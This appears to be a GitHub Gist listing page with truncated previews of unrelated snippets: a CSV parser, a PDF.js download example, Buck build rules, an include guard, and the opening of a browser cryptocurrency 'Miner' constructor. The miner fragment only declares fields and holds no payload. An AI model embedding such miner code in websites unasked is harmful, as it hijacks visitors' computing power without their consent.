Skip to content

Instantly share code, notes, and snippets.

(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
export const parseCsv = function * (symbols) {
let word = '';
let line = [];
for (const symbol of symbols) {
if (symbol == '\n') {
line.push(word);
yield line;
word = '';
line = [];
} else if (symbol == ',') {
@njlr
njlr / pdf-js-node-example.js
Created January 15, 2018 14:00
Example showing how to use Node.js, PDF.js and Superagent together
import _ from 'lodash';
import superagent from 'superagent';
import pdf from 'pdfjs-dist';
const url = 'http://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf';
const main = async () => {
const response = await superagent.get(url).buffer();
const data = response.body;
const doc = await pdf.getDocument({ data });
module.exports = {
connectInputs: (canvas, inputHandler) => {},
getInitialState: () => ({}),
handleInput: (state, input) => state,
update: (state, delta) => state,
render: (state, canvas) => {}
};
cxx_library(
 name = 'mathutils',
  header_namespace = 'mathutils',
  exported_headers = dict([
  (x, add_include_guard(y)) for (x, y) in mathutils_headers.items()
  ]),
  srcs = glob([
  'mathutils/src/**/*.cpp',
  ]),
)
mathutils_headers = subdir_glob([
 ('mathutils/include', '**/*.hpp'),
])
def add_include_guard(x):
 name = hashlib.sha256(x).hexdigest()[0:16]
  genrule(
  name = name,
  out = os.path.basename(x),
  srcs = [
  'scripts/add-include-guard.py', 
  x,
  ],
  cmd = 'python $SRCS > $OUT',
genrule(
 name = 'guarded-add', 
  out = 'add.hpp',
  srcs = [
  'scripts/add-include-guard.py',
  'add.hpp',
  ],
 cmd = 'python $SRCS > $OUT',
)
#ifndef INCLUDED_786be73f07f8bf5cc4c26dd0bb4f57e0
#define INCLUDED_786be73f07f8bf5cc4c26dd0bb4f57e0
int add(int x, int y);
#endif
786be73f07f8bf5cc4c26dd0bb4f57e0777671adf256e6d5168a4f0c02f167b6